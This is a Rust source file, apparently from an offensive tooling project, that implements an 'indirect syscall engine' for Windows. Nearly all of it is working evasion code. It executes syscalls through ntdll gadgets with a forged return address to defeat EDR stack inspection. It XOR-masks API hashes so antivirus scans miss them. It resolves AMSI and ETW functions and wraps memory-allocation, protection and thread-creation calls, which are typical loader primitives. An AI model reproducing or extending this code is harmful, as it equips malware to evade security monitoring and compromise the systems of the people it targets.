492 lines
17 KiB
Rust
492 lines
17 KiB
Rust
//! Indirect syscall engine (v2) — ntdll-gadget execution.
|
|
//!
|
|
//! Executing `syscall` inside our own code section is exactly what EDR
|
|
//! stack-inspection looks for: a syscall whose return address points outside
|
|
//! ntdll. This engine instead:
|
|
//!
|
|
//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
|
|
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
|
|
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
|
|
//! its `ret` at +10 — the privileged instruction executes from ntdll's
|
|
//! text section, never from ours.
|
|
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
|
|
//! address visible on the stack during the syscall points INTO ntdll;
|
|
//! a second `ret` gadget there hands control back to our continuation.
|
|
//! 4. Falls back to a direct in-place syscall only if every candidate stub
|
|
//! is hooked (in which case we are already detected anyway).
|
|
//!
|
|
//! Per-build variance: which stub hosts the gadgets is selected by
|
|
//! `gen::SYSCALL_TRAMP`.
|
|
|
|
#![allow(unused_assignments)]
|
|
|
|
use core::arch::asm;
|
|
use core::ffi::c_void;
|
|
|
|
use crate::antihook;
|
|
use crate::gen;
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
|
|
// Verified against apires::hash_ascii / hash_wide.
|
|
//
|
|
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
|
|
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
|
|
// tables). `r()` unmasks them at runtime.
|
|
// ---------------------------------------------------------------------------
|
|
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
|
|
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
|
|
/// elsewhere.
|
|
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
|
|
|
/// Unmask a stored (scrambled) API hash.
|
|
///
|
|
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
|
|
/// raw value at compile time — the recovery happens at runtime, so the real
|
|
/// API-hash constant never appears in the binary.
|
|
#[inline(always)]
|
|
pub fn r(h: u32) -> u32 {
|
|
h ^ core::hint::black_box(HASH_KEY)
|
|
}
|
|
|
|
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
|
|
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
|
|
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
|
|
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
|
|
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
|
|
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
|
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
|
|
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
|
|
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
|
|
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
|
|
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
|
|
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
|
|
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
|
|
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
|
|
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
|
|
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
|
|
|
|
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
|
|
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
|
|
|
|
/// Syscall numbers resolved at runtime from ntdll stubs.
|
|
#[derive(Clone, Copy)]
|
|
pub struct SyscallNumbers {
|
|
pub nt_protect_virtual_memory: u16,
|
|
pub nt_query_virtual_memory: u16,
|
|
pub nt_allocate_virtual_memory: u16,
|
|
pub nt_free_virtual_memory: u16,
|
|
pub nt_create_thread_ex: u16,
|
|
pub nt_query_information_process: u16,
|
|
pub nt_set_information_process: u16,
|
|
pub nt_query_system_information: u16,
|
|
pub nt_read_virtual_memory: u16,
|
|
pub nt_write_virtual_memory: u16,
|
|
pub ldr_load_dll: u16,
|
|
pub nt_delay_execution: u16,
|
|
}
|
|
|
|
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
|
|
nt_protect_virtual_memory: 0,
|
|
nt_query_virtual_memory: 0,
|
|
nt_allocate_virtual_memory: 0,
|
|
nt_free_virtual_memory: 0,
|
|
nt_create_thread_ex: 0,
|
|
nt_query_information_process: 0,
|
|
nt_set_information_process: 0,
|
|
nt_query_system_information: 0,
|
|
nt_read_virtual_memory: 0,
|
|
nt_write_virtual_memory: 0,
|
|
ldr_load_dll: 0,
|
|
nt_delay_execution: 0,
|
|
};
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Gadget discovery
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/// A clean ntdll stub yields two gadget addresses:
|
|
/// syscall_gadget = stub + 8 (`0F 05`)
|
|
/// ret_gadget = stub + 10 (`C3`)
|
|
#[derive(Clone, Copy)]
|
|
struct Gadgets {
|
|
syscall_gadget: usize,
|
|
ret_gadget: usize,
|
|
}
|
|
|
|
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
|
|
|
|
/// Extract the service number embedded in an ntdll stub.
|
|
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
|
|
let mut buf = [0u8; 12];
|
|
antihook::read_bytes_pub(addr, &mut buf);
|
|
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
|
|
Some(u16::from_le_bytes([buf[4], buf[5]]))
|
|
} else {
|
|
None
|
|
}
|
|
}
|
|
|
|
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
|
|
fn stub_candidates() -> [u32; 5] {
|
|
let base = [
|
|
r(HASH_NTDELAY_EXECUTION),
|
|
r(HASH_NTQUERY_SYSTEM_INFORMATION),
|
|
r(HASH_NTWRITE_VIRTUAL_MEMORY),
|
|
r(HASH_NTQUERY_INFORMATION_PROCESS),
|
|
r(HASH_NTREAD_VIRTUAL_MEMORY),
|
|
];
|
|
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
|
|
let mut out = [0u32; 5];
|
|
for i in 0..base.len() {
|
|
out[i] = base[(i + rot) % base.len()];
|
|
}
|
|
out
|
|
}
|
|
|
|
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
|
|
pub unsafe fn init_syscall_numbers() {
|
|
let ntdll = crate::apires::ntdll_base();
|
|
if ntdll == 0 {
|
|
return;
|
|
}
|
|
|
|
macro_rules! resolve_num {
|
|
($hash:expr, $field:ident) => {
|
|
if let Some(addr) = antihook::resolve_export(r($hash)) {
|
|
if let Some(n) = stub_syscall_number(addr) {
|
|
SYSCALL_NUMS.$field = n;
|
|
}
|
|
}
|
|
};
|
|
}
|
|
|
|
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
|
|
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
|
|
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
|
|
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
|
|
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
|
|
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
|
|
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
|
|
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
|
|
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
|
|
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
|
|
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
|
|
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
|
|
|
|
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
|
|
for &hash in stub_candidates().iter() {
|
|
if let Some(addr) = antihook::resolve_export(hash) {
|
|
if addr != 0 && !antihook::is_address_hooked(addr) {
|
|
let mut probe = [0u8; 12];
|
|
antihook::read_bytes_pub(addr, &mut probe);
|
|
// mov r10,rcx | mov eax,imm32 | syscall | ret
|
|
if probe[0] == 0x4C
|
|
&& probe[1] == 0x8B
|
|
&& probe[2] == 0xD1
|
|
&& probe[3] == 0xB8
|
|
&& probe[8] == 0x0F
|
|
&& probe[9] == 0x05
|
|
&& probe[10] == 0xC3
|
|
{
|
|
GADGETS = Gadgets {
|
|
syscall_gadget: addr + 8,
|
|
ret_gadget: addr + 10,
|
|
};
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
|
|
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
|
|
&& SYSCALL_NUMS.nt_delay_execution == 0
|
|
{
|
|
init_syscall_numbers();
|
|
}
|
|
&SYSCALL_NUMS
|
|
}
|
|
|
|
#[inline]
|
|
unsafe fn gadgets() -> (usize, usize) {
|
|
let g = core::ptr::addr_of!(GADGETS).read();
|
|
(g.syscall_gadget, g.ret_gadget)
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
|
|
//
|
|
// Register plan (ABI-safe, Windows x64):
|
|
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
|
|
// rdi : syscall gadget address (callee-saved => read-only use)
|
|
// rsi : ret gadget address (callee-saved => read-only use)
|
|
// r12 : syscall number (callee-saved => read-only use)
|
|
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
|
|
// r11 : internal scratch (volatile, kernel-clobbered anyway)
|
|
// eax : NTSTATUS out
|
|
//
|
|
// Rust forbids referencing explicit-register operands in asm templates, so
|
|
// every value enters through a fixed callee-saved register hardcoded in the
|
|
// template text. LLVM keeps those values alive until the block consumes them.
|
|
//
|
|
// Stack contract at `jmp rdi` (syscall gadget):
|
|
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
|
|
// [rsp+8] = real continuation label
|
|
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
|
|
// that `ret` pops our continuation. Stack ends balanced.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/// 4-arg indirect syscall.
|
|
#[inline]
|
|
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
|
|
let (sg, rg) = gadgets();
|
|
if sg == 0 {
|
|
let status: i32;
|
|
asm!(
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"syscall",
|
|
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
|
in("r12") num,
|
|
lateout("rax") status,
|
|
options(nostack),
|
|
);
|
|
return status;
|
|
}
|
|
let status: i32;
|
|
asm!(
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"lea rcx, [rip+2f]",
|
|
"push rcx",
|
|
"mov r11, rsi",
|
|
"push r11",
|
|
"jmp rdi",
|
|
"2:",
|
|
in("rcx") a1,
|
|
in("rdx") a2,
|
|
in("r8") a3,
|
|
in("r9") a4,
|
|
in("rdi") sg,
|
|
in("rsi") rg,
|
|
in("r12") num,
|
|
lateout("rax") status,
|
|
out("r11") _,
|
|
);
|
|
status
|
|
}
|
|
|
|
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
|
|
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
|
|
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
|
|
#[inline]
|
|
pub unsafe fn sys_indirect6(
|
|
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
|
|
) -> i32 {
|
|
let (sg, rg) = gadgets();
|
|
if sg == 0 {
|
|
let status: i32;
|
|
asm!(
|
|
"sub rsp, 0x30",
|
|
"mov [rsp+0x28], r13",
|
|
"mov [rsp+0x30], r14",
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"syscall",
|
|
"add rsp, 0x30",
|
|
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
|
in("r12") num, in("r13") a5, in("r14") a6,
|
|
lateout("rax") status,
|
|
options(nostack),
|
|
);
|
|
return status;
|
|
}
|
|
let status: i32;
|
|
asm!(
|
|
"sub rsp, 0x28",
|
|
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
|
|
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"lea rcx, [rip+2f]",
|
|
"push rcx",
|
|
"mov r11, rsi",
|
|
"push r11",
|
|
"jmp rdi",
|
|
"2:",
|
|
"add rsp, 0x28",
|
|
in("rcx") a1,
|
|
in("rdx") a2,
|
|
in("r8") a3,
|
|
in("r9") a4,
|
|
in("rdi") sg,
|
|
in("rsi") rg,
|
|
in("r12") num,
|
|
in("r13") a5,
|
|
in("r14") a6,
|
|
lateout("rax") status,
|
|
out("r11") _,
|
|
);
|
|
status
|
|
}
|
|
|
|
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
|
|
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
|
|
/// kernel-required [rsp+0x28] at syscall time.
|
|
#[inline]
|
|
pub unsafe fn sys_indirect5(
|
|
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
|
|
) -> i32 {
|
|
let (sg, rg) = gadgets();
|
|
if sg == 0 {
|
|
let status: i32;
|
|
asm!(
|
|
"sub rsp, 0x28",
|
|
"mov [rsp+0x28], r13",
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"syscall",
|
|
"add rsp, 0x28",
|
|
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
|
|
in("r12") num, in("r13") a5,
|
|
lateout("rax") status,
|
|
options(nostack),
|
|
);
|
|
return status;
|
|
}
|
|
let status: i32;
|
|
asm!(
|
|
"sub rsp, 0x18",
|
|
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
|
|
"mov r10, rcx",
|
|
"mov eax, r12d",
|
|
"lea rcx, [rip+2f]",
|
|
"push rcx",
|
|
"mov r11, rsi",
|
|
"push r11",
|
|
"jmp rdi",
|
|
"2:",
|
|
"add rsp, 0x18",
|
|
in("rcx") a1,
|
|
in("rdx") a2,
|
|
in("r8") a3,
|
|
in("r9") a4,
|
|
in("rdi") sg,
|
|
in("rsi") rg,
|
|
in("r12") num,
|
|
in("r13") a5,
|
|
lateout("rax") status,
|
|
out("r11") _,
|
|
);
|
|
status
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Typed public wrappers
|
|
// ---------------------------------------------------------------------------
|
|
|
|
#[inline]
|
|
fn current_process() -> usize {
|
|
usize::MAX // (HANDLE)-1 pseudo-handle
|
|
}
|
|
|
|
pub unsafe fn sys_nt_protect_virtual_memory(
|
|
process_handle: usize,
|
|
base_address: *mut *mut c_void,
|
|
region_size: *mut usize,
|
|
new_protect: u32,
|
|
old_protect: *mut u32,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
|
|
new_protect as usize, 0, old_protect as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_allocate_virtual_memory(
|
|
process_handle: usize,
|
|
base_address: *mut *mut c_void,
|
|
zero_bits: usize,
|
|
region_size: *mut usize,
|
|
allocation_type: u32,
|
|
protect: u32,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
|
|
region_size as usize, allocation_type as usize, protect as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_free_virtual_memory(
|
|
process_handle: usize,
|
|
base_address: *mut *mut c_void,
|
|
region_size: *mut usize,
|
|
free_type: u32,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_query_information_process(
|
|
process_handle: usize,
|
|
info_class: u32,
|
|
info: *mut c_void,
|
|
info_len: u32,
|
|
return_len: *mut u32,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_query_information_process as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect5(num, process_handle, info_class as usize, info as usize,
|
|
info_len as usize, return_len as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_set_information_process(
|
|
process_handle: usize,
|
|
info_class: u32,
|
|
info: *mut c_void,
|
|
info_len: u32,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_set_information_process as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_query_system_information(
|
|
info_class: u32,
|
|
info: *mut c_void,
|
|
info_len: usize,
|
|
return_len: *mut usize,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_query_system_information as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_query_virtual_memory(
|
|
process_handle: usize,
|
|
base_address: *const c_void,
|
|
info_class: u32,
|
|
info: *mut c_void,
|
|
info_len: usize,
|
|
return_len: *mut usize,
|
|
) -> i32 {
|
|
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
|
|
info as usize, info_len, return_len as usize)
|
|
}
|
|
|
|
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
|
|
let num = get_syscall_numbers().nt_delay_execution as u32;
|
|
if num == 0 { return -1; }
|
|
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
|
|
}
|
|
|
|
/// Current-process pseudo-handle helper for external users.
|
|
pub fn cur_process() -> usize {
|
|
current_process()
|
|
}
|